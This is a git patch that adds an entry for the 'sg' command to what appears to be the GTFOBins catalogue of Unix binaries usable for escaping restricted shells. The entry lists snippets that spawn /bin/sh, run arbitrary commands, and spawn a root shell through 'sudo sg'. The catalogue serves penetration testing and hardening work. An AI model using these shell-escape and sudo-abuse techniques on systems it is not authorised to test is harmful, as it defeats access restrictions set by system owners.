From 99a572b7d9c400c2080b1b4e04f8a2ad649db3b2 Mon Sep 17 00:00:00 2001
From: SleestakOverflow <75267249+sleestakoverflow@users.noreply.github.com>
Date: Mon, 15 Feb 2021 21:49:13 -0600
Subject: [PATCH] Create sg.md

Adding the "sg" binary which allows command execution under a "different" group ID. However, it can be used to break out of restricted environments by using a user's own group ID.
---
 _gtfobins/sg.md | 19 +++++++++++++++++++
 1 file changed, 19 insertions(+)
 create mode 100644 _gtfobins/sg.md

diff --git a/_gtfobins/sg.md b/_gtfobins/sg.md
new file mode 100644
index 0000000..553d4eb
--- /dev/null
+++ b/_gtfobins/sg.md
@@ -0,0 +1,19 @@
+---
+functions:
+  shell:  
+    - description: Commands can be run if the current user's group is specified, therefore no additional permissions are needed.
+      code: |
+        GROUPNAME=users
+        sg $GROUPNAME -c "/bin/sh"
+  command:
+    - description: Commands can be run if the current user's group is specified, therefore no additional permissions are needed.
+      code: |
+        COMMAND=whoami   
+        GROUPNAME=users
+        sg $GROUPNAME -c $COMMAND
+  sudo:
+    - description: Any group can be specified as the user will have root permissions.
+      code: |
+        GROUPNAME=users
+        sudo sg $GROUPNAME -c "/bin/sh"
+---